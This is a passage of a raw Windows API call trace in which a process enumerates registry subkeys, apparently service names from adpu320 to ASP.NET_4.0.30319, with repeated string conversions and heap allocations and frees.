Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.057] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0177.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.058] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0177.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.059] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.060] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0177.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0177.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.062] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0177.063] 